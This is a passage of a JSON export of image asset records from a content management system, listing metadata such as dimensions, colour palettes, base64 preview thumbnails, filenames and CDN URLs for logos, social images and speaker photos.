f","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"f86b6f14a65a424800556fc2ceba6d6d29f540f9-640x367.png","path":"images/sczeoy4w/production/f86b6f14a65a424800556fc2ceba6d6d29f540f9-640x367.png","sha1hash":"f86b6f14a65a424800556fc2ceba6d6d29f540f9","size":23443,"uploadId":"v6vCYRPNZBjMJLV05eMefnljOA8dhLP7","url":"https://cdn.sanity.io/images/sczeoy4w/production/f86b6f14a65a424800556fc2ceba6d6d29f540f9-640x367.png"} {"_createdAt":"2023-03-31T12:22:14Z","_id":"image-f87fa20b69721fdaa8bda610ae832bff9873040d-1200x628-png","_rev":"IfootSjA4c56MZIbwSkeHA","_type":"sanity.imageAsset","_updatedAt":"2023-03-31T12:22:14Z","assetId":"f87fa20b69721fdaa8bda610ae832bff9873040d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M64{Z4?vRjIUV@_4-;RiIUWBxut7jsWBae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsSAAALEgHS3X78AAABeklEQVQokX2Q20sCQRSHZ9xdNbsRFQR2IXoQ9pw10hANNHPRIih7KKoHzaKdmV1NqAcvRKDQhdTEHvp/YzaKkgp+DOdhvnO+c8hotBLavYsdP0YO73G/ZeTbidPnVLG3fvSwsn07vn5FgRH9j4xHK6sHbfOiv1V6SRY6qUJ3h73uOW85axA/eZrfqnnD9q8k1RkZi5SNfMu86GfO+5tnvWShky69bFuvOWuQKnZDu3eBSPk3knt0RjRDzGzcLGeby9nmYqYeTNeC6dqi2VgyGwuZ+nTiWhuezCkIN5xQYApyryG8YaGhUJGrKFRDyBeFB7jU+wpwAoKiTdGhKAh17f+JB5gC7oYgSYK2HIs2NRwJK8BU4ApyafLzJB5gGlo+tFRgFAQBW7bQGQWbYplowCZW+VS0EohWFEMMwQpafuPSL2FOJel+kAo2QYf4gM2u8bl4dTJWVX/e5gv2oaWgcGH+Sbq1AsyPbCQsvGF7SJt8aqv4zfkDdhXeAScshe0sVWS8AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#364f71","foreground":"#fff","population":0.38,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":76.59,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":76.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acacc8","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4bbd9","foreground":"#000","population":0.36,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af515e","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b84024","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Template_Tech_post_social_media_copy5.png","path":"images/sczeoy4w/production/f87fa20b69721fdaa8bda610ae832bff9873040d-1200x628.png","sha1hash":"f87fa20b69721fdaa8bda610ae832bff9873040d","size":36746,"uploadId":"GIBLuVyiZr1T5mYhzwkgAsrK8QhkowMn","url":"https://cdn.sanity.io/images/sczeoy4w/production/f87fa20b69721fdaa8bda610ae832bff9873040d-1200x628.png"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-f8882f95b98043a14102a996164c214868c7e1c3-966x596-png","_rev":"CK1sLU2mnwa3vmbYWEapkU","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:23Z","assetId":"f8882f95b98043a14102a996164c214868c7e1c3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VQQT4L=r%%L3t+?cIpRh$jaPt-T0i]rWnOE0%2xbI.ou","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6208053691275168,"height":596,"width":966},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACRUlEQVQokU1Sy0tUcRSevyShjVC0rEX7aNWqwJWLoDZBtRO0CCqCIKvFYIMY0qYpSxPF0HxGTmPU5Ht0HMca575+9/7ez3vvtKmfM0LwceAczne+j4+TkfEfKuMAUg8gD0AniBw/dIPIDaAXItdOYKv6EfEj4gIUQIq5FqaZ+Z8cRNgH0AtCCxD5EfIj7IXYBfZKEJEAUj/CAaSIKa4SS+Y6xUwjJgml1KvQygLZmSONLUIxERrzNogwrZZwTWXcJgvT5CrlJhEskpsjerxbj3bJ0pDArjAp123YteNWmKa1zVRCZUzsYc2wI4vP9OBpPXBSLtxloMZUwuQxVMJUfDSxles0A6lETGKmiNQMOfJrv8516uwJOd9LQDXkwqPEZwwKBbnxiXaxBlQTEVtyiBgkgkpjbRNXFftNrtNkO9RCn+etLzV+5nenJ2qft8L6tsc+rIFXK+6nMjxER2kDxCLCMbfKFDmy0FLuUPN95YPlx99fXvl4+8big4nq8uSGcy2/fXGg1Du5t3pIuU4ymLWTpMq0bb9okXvX9xd7lp+eH+m6PHUzX559U6pfGlw99ahwPb/17QALnWaEtrnZVE3KiSdWsnLorMydkUv3Nw++3CtmL4xd7Z7peV9ZHF1rdA2vnXtSvPWu/OM3aT+JhWkynVKK6O4Mmb2Dp3voxljN3XlbnnlYyGVLrwuHm4UaeD633ze+PVyoV3zOdHpMPnoVrmJGIxRUkb/HCCBSOgRWw8Yv5IeCh9zUArbr4jqUWCT/lP8Csy9lx5LKs9AAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#54605f","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b55c04","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b6b8be","foreground":"#000","population":0.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b6b8be","foreground":"#000","population":0.86,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3e5f9","foreground":"#000","population":0.11,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a7282","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f47c04","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"f8882f95b98043a14102a996164c214868c7e1c3-966x596.png","path":"images/sczeoy4w/production/f8882f95b98043a14102a996164c214868c7e1c3-966x596.png","sha1hash":"f8882f95b98043a14102a996164c214868c7e1c3","size":10943,"uploadId":"RgI4Tb5GS6MLp3bCIybKHMEldNHPoXhe","url":"https://cdn.sanity.io/images/sczeoy4w/production/f8882f95b98043a14102a996164c214868c7e1c3-966x596.png"} {"_createdAt":"2022-06-30T19:58:39Z","_id":"image-f8b1a160df835c957fd9f3b0dd3728883d493f59-139x47-png","_rev":"CK1sLU2mnwa3vmbYWEc2hy","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:24Z","assetId":"f8b1a160df835c957fd9f3b0dd3728883d493f59","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D9TR[^%Ngi%MgN~pjFfRkCf6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.9574468085106385,"height":47,"width":139},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA0ElEQVQYlY1Q2Q6DMAzj/79umnbfbMAQpfSgBzx5chFoL5MmWVaSpnGcDGNAr6AEVAMt/oISMBLeZrASTiO6BI8hIAYMnoiO6RjJQ2Qwzqkz6OqMgiF948gGuk3jWxgBWbNiO1jF7YykUq+TgENbZtxhCAg93nfkO+QHPI8oziivuG9x2yDfs/jY4bLCbc0nI6nXVrPyGKkg35AVWTXs6GqIgmgK1DleJ1RXNnhDMVF+eaZ+cj7xYjv0hLfc3GnG0c2ep2svZ5yY5if8OHi69gcJ85AL7DiobwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f2e09","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c2808","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6ab8f","foreground":"#000","population":0.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#caaaa4","foreground":"#000","population":0.37,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6ab8f","foreground":"#000","population":0.73,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b49464","foreground":"#000","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f48960","foreground":"#000","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"f8b1a160df835c957fd9f3b0dd3728883d493f59-139x47.png","path":"images/sczeoy4w/production/f8b1a160df835c957fd9f3b0dd3728883d493f59-139x47.png","sha1hash":"f8b1a160df835c957fd9f3b0dd3728883d493f59","size":2178,"uploadId":"Fg3B9TadQSqnzwAh6hof7RmitBPTiIs6","url":"https://cdn.sanity.io/images/sczeoy4w/production/f8b1a160df835c957fd9f3b0dd3728883d493f59-139x47.png"} {"_createdAt":"2022-10-25T12:54:58Z","_id":"image-f8b2a08cd471cee0907fae8b7bf6fcb16f92986e-1843x711-png","_rev":"9EhxcQHTplKyRiLd2PvPdN","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T14:27:31Z","assetId":"f8b2a08cd471cee0907fae8b7bf6fcb16f92986e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DFM7of?G00_4_44m4nD*ogxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.592123769338959,"height":711,"width":1843},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAACQklEQVQokQE3Asj9AOvooADr55sA5+F9AN7XZQDQy4MA//8AAMrQ/wD07FEA8OlkDu7rrGjs69bY7e3r/fLy8tz19fRt9fTxD/LvtwD0+/8B5+r/Aufo6QL7/PUAANrb5ATMz+wDwcGwAaWeVQD///kA8+5+A/buYQbo4nME49+OFOnlsV/o59K06enk0e3s6bfv7uhd3921EsbATQ7W0oQX2NasENjY0AvU07gGANbTpB/QzrAi0c6rIdHPsRrZ1aMX7eiRLvDrm0nu6ZU629idKdjWwFDc29B/3dzXjN7d2HvZ2NFBtrFiGcS9PjLSy2BGz8uDKdTTxSfc280/ANvXm1TZ1q1t2dezedjWtmvb2KlP6+eWau7qop/u6px93tqWPM3MxEjR0Mxl0tHMadDPylrEw74vopxDGsC5NUPPyFBaysVxN87Msk7V07uQAOLfsF7i4Mah4+LNyeXj0bnn5ch77OiZXe/qknXu6Y1d3NiYNtXTwVja2MaB3dvGhtvZwm3PzbU0ralZHMS8Oj7RyUxRyMJpM7i1iEW7uYx6AOfn20fo5+Ko6unm4+7t6tfw8OqE7uy9LO/oaxrs5nMW3tzAJeTj1Xbo59i97OvZyO7sz5nn5b49xcKGE8rEVh/Vz1wmy8iHHp2beSKEglIsAOjo4jLn5+SK6enpwO7u7rbx8fJs7eztFwAAAADS09EB5ubmIerq6I7s7Ors8PDq+/X04bv08s9B3ty4BtvbxwTi4cIG2NnUDri5uxF+f4ENi3d1QQGl9WwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f4c37","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a530a","foreground":"#fff","population":0.31,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#edea11","foreground":"#000","population":1.41,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e0dfc8","foreground":"#000","population":0.29,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edeb7e","foreground":"#000","population":0.38,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7a854c","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edea11","foreground":"#000","population":1.41,"title":"#000"}}},"mimeType":"image/png","originalFilename":"f8b2a08cd471cee0907fae8b7bf6fcb16f92986e-1843x711.png","path":"images/sczeoy4w/production/f8b2a08cd471cee0907fae8b7bf6fcb16f92986e-1843x711.png","sha1hash":"f8b2a08cd471cee0907fae8b7bf6fcb16f92986e","size":38645,"uploadId":"sibvDsDh67YjBUfYsWmUrHSZhUaHCSHS","url":"https://cdn.sanity.io/images/sczeoy4w/production/f8b2a08cd471cee0907fae8b7bf6fcb16f92986e-1843x711.png"} {"_createdAt":"2023-07-07T09:34:58Z","_id":"image-f8f155ad0ea5bcf60512d3039e7359025539e0ca-1600x1398-jpg","_rev":"lIJH2XrFwRt4uP1xSOheia","_type":"sanity.imageAsset","_updatedAt":"2023-07-07T09:34:58Z","assetId":"f8f155ad0ea5bcf60512d3039e7359025539e0ca","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1444921316165952,"height":1398,"width":1600},"exif":{"ColorSpace":1,"PixelXDimension":1600,"PixelYDimension":1398,"_type":"sanity.imageExifMetadata"},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAARABQDASIAAhEBAxEB/8QAGQABAAIDAAAAAAAAAAAAAAAAAAQGAwUH/8QAJRAAAQQBAgUFAAAAAAAAAAAAAQACAwQFESEGEjEzcRQVIlGB/8QAGQEAAgMBAAAAAAAAAAAAAAAAAwUAAQQG/8QAIBEAAQQCAQUAAAAAAAAAAAAAAgABAxEEMUEFFCEj4f/aAAwDAQACEQMRAD8AqFCKhYx9Q2gW6MABGyzT46jE/VglII16a+Fz7KZOzkKlVjWGOOFvLsep+1beCrcwokW2CT5BoJdvol/bEDb50uni6lC3rBqpt/FWclmHwXZYo2N5WnRFG4irR+82vT7x8+yLYIBTeEnmzMlpCo+VFf2WeFuuHe5+FEUJDiUOz33+URFSEv/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a2928","foreground":"#fff","population":3.64,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#940c1c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4a2928","foreground":"#fff","population":3.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9fa39c","foreground":"#000","population":0.9,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e49090","foreground":"#000","population":0.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a35a64","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e5501c","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"olena_jsnation_2023.jpg","path":"images/sczeoy4w/production/f8f155ad0ea5bcf60512d3039e7359025539e0ca-1600x1398.jpg","sha1hash":"f8f155ad0ea5bcf60512d3039e7359025539e0ca","size":538264,"uploadId":"fylsd0OfH25US5RzfMwLyiDwwIZExQ2f","url":"https://cdn.sanity.io/images/sczeoy4w/production/f8f155ad0ea5bcf60512d3039e7359025539e0ca-1600x1398.jpg"} {"_createdAt":"2022-08-25T11:45:35Z","_id":"image-f8fdf3a8e1dd1771daebefeb992be189df5f6fcd-138x24-svg","_rev":"5QPb9KWQ58ZSt63EYvXDl8","_type":"sanity.imageAsset","_updatedAt":"2022-08-25T11:46:43Z","altText":"Google Cloud Platform logo gray","assetId":"f8fdf3a8e1dd1771daebefeb992be189df5f6fcd","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"40ATsDbyIA_N=|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.75,"height":24,"width":138},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAkUlEQVQImU2Ou2oCUBAF/RfTiphCxWAIEd9BFEMCiQ44CEfQQiz8frlwC4tll+U8poHZY6aYd8wQ8/a0J3j6x3xjupgWpocZYD6qpvxeMH3MroH5wWwwv5i/OjvMAXPG0x1zxSwxHcxrNS8wa8wXZobZYo4lsDSNMaNKOq+iQnbDXGppCWli2vUudMX7+eRdPQDgZ1Y3sA/WBAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3f44","foreground":"#fff","population":0.54,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04040c","foreground":"#fff","population":1.93,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#04040c","foreground":"#fff","population":1.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#262672","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9b9bdd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c6c6d","foreground":"#fff","population":1.63,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3f3fbf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"qcIblBlYNB041RLlsLPbAj","_type":"reference","_weak":true}]}},"originalFilename":"google-cloud-logo-dark.svg","path":"images/sczeoy4w/production/f8fdf3a8e1dd1771daebefeb992be189df5f6fcd-138x24.svg","sha1hash":"f8fdf3a8e1dd1771daebefeb992be189df5f6fcd","size":2884,"title":null,"uploadId":"b7gqNYpixNZy0y2LsmLT6ZvMNxNMITf6","url":"https://cdn.sanity.io/images/sczeoy4w/production/f8fdf3a8e1dd1771daebefeb992be189df5f6fcd-138x24.svg"} {"_createdAt":"2022-09-09T07:43:34Z","_id":"image-f8ff08ad70e20f79c28f29f342fadba103642622-500x500-jpg","_rev":"cEPH2uRN58AU2lp9QOgWzJ","_type":"sanity.imageAsset","_updatedAt":"2022-09-09T07:43:34Z","assetId":"f8ff08ad70e20f79c28f29f342fadba103642622","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eIPi@uM_p{NGH=00x].8WBofyYRjvzt7NaIpj@xat7Mxxvj]WAV@WY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":500,"width":500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGgABAAIDAQAAAAAAAAAAAAAAAAQFAQIGB//EACMQAAICAwACAAcAAAAAAAAAAAECAAMEBREGIRITIjFBYXH/xAAXAQADAQAAAAAAAAAAAAAAAAAAAwQB/8QAGREBAQEBAQEAAAAAAAAAAAAAAAECAxES/9oADAMBAAIRAxEAPwD2jdNcdVauLaabG+n5oHSgP5nHeP6zZaDyPHU77K2mNksRbXcPS9Hoid5WrPjt8I6QO/aQdVh5mZm12jHZaKiWLOOdP6itXX1PFHOYvO2rhgAYmbFZXIYcMRqdL0VaNiAkdJPuXVNSVIFQcWIgGr01s3WQE/yIiaH/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5b3c33","foreground":"#fff","population":0.5,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#682f1b","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d8b1a7","foreground":"#000","population":1.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8b1a7","foreground":"#000","population":1.95,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4ac99","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a67863","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c95a35","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"filip-yonov.jpeg","path":"images/sczeoy4w/production/f8ff08ad70e20f79c28f29f342fadba103642622-500x500.jpg","sha1hash":"f8ff08ad70e20f79c28f29f342fadba103642622","size":10789,"uploadId":"WgdyeXCatEqHELFtWAVTJ7L20vT604pb","url":"https://cdn.sanity.io/images/sczeoy4w/production/f8ff08ad70e20f79c28f29f342fadba103642622-500x500.jpg"} {"_createdAt":"2022-06-30T20:09:50Z","_id":"image-f9124d424b8adac6de0766bddf6dc51a3d10c1d5-2500x2188-png","_rev":"CK1sLU2mnwa3vmbYWEdTfW","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:27:22Z","assetId":"f9124d424b8adac6de0766bddf6dc51a3d10c1d5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eFDv7t=e00I:?^Mdw^tREzTdMww{-qn*M{k=J8IojZRP00J7~W-B#S","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1425959780621573,"height":2188,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAABcRAAAXEQHKJvM/AAAEd0lEQVQ4jW3Se0xTVxwH8N+lFjoKCpZH0PkKMuC2F7E8BDbYYEPn4pg8hnMGcGwMMIFRKCI6lGI0Gh0zmyuSKY8t2wSWwAxm2A7dmIl76JwGCjPCACn09nFvbym3ZdB7lpYhzO0m55+bcz7n+z35AVcQAOh1HLiMCEC5G4B74xlAe3BoEPtDfGwsbNywgSfy9eH7eHvx1wYF8SIjI8FP5Ad+IhEghOA/HyoVApclBu61rYDy1mHc3hD3+SyJO9q+CYjkVKy+vt7nq8uXQ9s6OkI/USp9s7OzsaLiIqipqfl/kCsIWAAzJcDlrRdye0MILpsQO7aHCfpnHO76yYkEWjdZa9ZN1RknJ5PGH00I9AYKDCQJGo0GZLJjTyQs8wBE5ABy+xhQQcBGtC+4mMuKLLC/FLdGy8yK7AxV5qD1gw6T4cEcw1RaWZu/M5lzjY6OusCy5aijgg+oEwCdBre5A6sj5nKCj81lxByxJaeEasd0fnaGKpqn9bcdlPHu3PR0iZW1iZaDZU6wfBn4l9wD0AcAqAYwS0ngWno/voPOfC7VkvJyIHl3iM9amXC7hc6foalC/eSU9Eq3WpibU8I7c7YBa2r+0pVQVl67BJrkqwF96AKhv3TLil8LUjxv79vt2b8zgzd8/WdMNzjmOTE0tn7g3mBI1zc9gYePnPJ+r+yoQF5Z51YhVyxULq8FmewfFMkB5k4A2KvdAJXwAOUEgSXUHTQnG4HWmgST1we3atX9uaRmPH9qiky49dOdVRnpb7udP9+MJT2f6UrnrC1brO0E0VmAe4dCAJUCPHgnHnpO17vhUhwb7h/2edSrydB+p1Ea/9BeYMzMHu2UTrQuIBJrbmnHqg+fhLTdby2gi7UXbyivUEDN0TNQIa/DqqpO8PfnlwkaPmpe9fvVX8QjNwZ2ajVjrzx8OEK0trT55OWVCqqqTrjLK+swxfFzzjP/fkdn3JLS90EoDIai4kNYeYWCf17Z6t3R+a2os1vt263+3vNqz3XPrisq36+7evyUjZ+vlB887v5u4UHMeb74QPWTYC3cvHnLNQrONaUjhVbGHM0y5r3TFJVq0On99SQpstBUCsuY37SazdtInd5rcf/9+/1LoHVHArQ/Gw9/jow8Bu02dvO81XzKQRvvzNPUFzbLdLJtxpI4z5haHLTxt3kLU29n2bDWgT7XfpIkl4abeTEJLsQlPMYACsFuZyMc0/RnHEWaHLTph1nrTPosO73LYTaoORNJORhzm521RakGb2PnGP0CuJjQ8kIKNMYmgix3P4wPD7lQo9EQZDXpC2xGsslGGY8wFCUxmwzhLKWvspv0TSxNFTNmZq1rShCC8fHxpfez7JIKLiXGCNOipE/h0TE85z+FQiHoaG8PvtHbG6dWqXClUumtVCqFapUq7Me+vm2qa9c2fXrxosdiq8rKymXgq9I1lxKjg9OipE9vjtgiTI+WYjiOr5BIJCsJghBJxJJVYhz3CA8P54vFYm+CIHzFuNgrLCyMl5yaCrFx24AgiMfg39ieYewGD1lnAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#384a44","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#510708","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f75e1d","foreground":"#fff","population":0.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c29cba","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fccc74","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a0825e","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f75e1d","foreground":"#fff","population":0.58,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"f9124d424b8adac6de0766bddf6dc51a3d10c1d5-2500x2188.png","path":"images/sczeoy4w/production/f9124d424b8adac6de0766bddf6dc51a3d10c1d5-2500x2188.png","sha1hash":"f9124d424b8adac6de0766bddf6dc51a3d10c1d5","size":156045,"uploadId":"saIYNp4A7zt5320ZHUguH0yl6N7lVESe","url":"https://cdn.sanity.io/images/sczeoy4w/production/f9124d424b8adac6de0766bddf6dc51a3d10c1d5-2500x2188.png"} {"_createdAt":"2024-03-22T12:52:20Z","_id":"image-f9135b2343dc588a9fb412982360229dfb879e88-1200x628-png","_rev":"FsdEUX6qPquRWP6V14o3gD","_type":"sanity.imageAsset","_updatedAt":"2024-03-22T12:52:20Z","assetId":"f9135b2343dc588a9fb412982360229dfb879e88","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQONLZWbRht7-=jFozRja~o#_NRORkWXV@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACVElEQVQokUWSS28SARRG+Xfu3ejSnS66MtFFjas2Rt2qiYsmjS40TVra8n61PErBlsp7YGCYYWAewPCKUtpCC8cAWhcn313cnHsXn02ojfBEa3yxp9ixnxB2BgkHkqQLFo3WDL0DWnt+j96ZY3ZnGJ0rJNmgUKxSlU2M7jWd4QybrE3JlIeEEiq+QIa4N0YkmCKVa6Oad/fCRa6Yo+pjhIJI1GVnd+sj7v09hLKK2Ztiq+u3iMqYn8UeiTOVZFwkkZBIZTsI0ghRuUKUx0sk9RpFm1CqmIR9br6+XefNs8d82FgnHkvQNMfYyrVLkhctwvEGoZhCMFIjFJUJRRWCUWWZR7E6RycqsaRGptgjV1TwO3b59GqNl48esPn8KSGfj6bxC1u2NCQQkTn0lnAFRNzByhKnX2TfXWTPkcfuKiznxU402SBbbBALB9l6/5r1Jw/ZfLFGwOtHa/3Gli708R5J7DkLHHgEnL4yTn95mQvJriPPgbuI01/C5S8vhSWpRzYv4tj5xud3G3zf3iadETG7E2xZYUAoIuPwChx6hfsvPaEqnmAF37FE7EeT82yLVK5FXuxTa14iVC3iiQLh43Ny+Tpa+4r2YIatWhuRTTU5PZGIxGVOz3XO0h1SWYuLXJdcaYjUGNNs36B1JujWFNW8plDpcZE3yZW7KNqYVv9uVRtNv0EVLcp5g7xgISoj6voU1bhFNe5otmYY1pz2YE5nuMLs3VI3xsja5VJuWFPagzushVBvz9CNKQ19gmpMl4L/nVuxELb6K+m/XHyzYnXE+ssfi8i3iMcKbsAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#604334","foreground":"#fff","population":1.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#101a3d","foreground":"#fff","population":1.17,"title":"#fff"},"dominant":{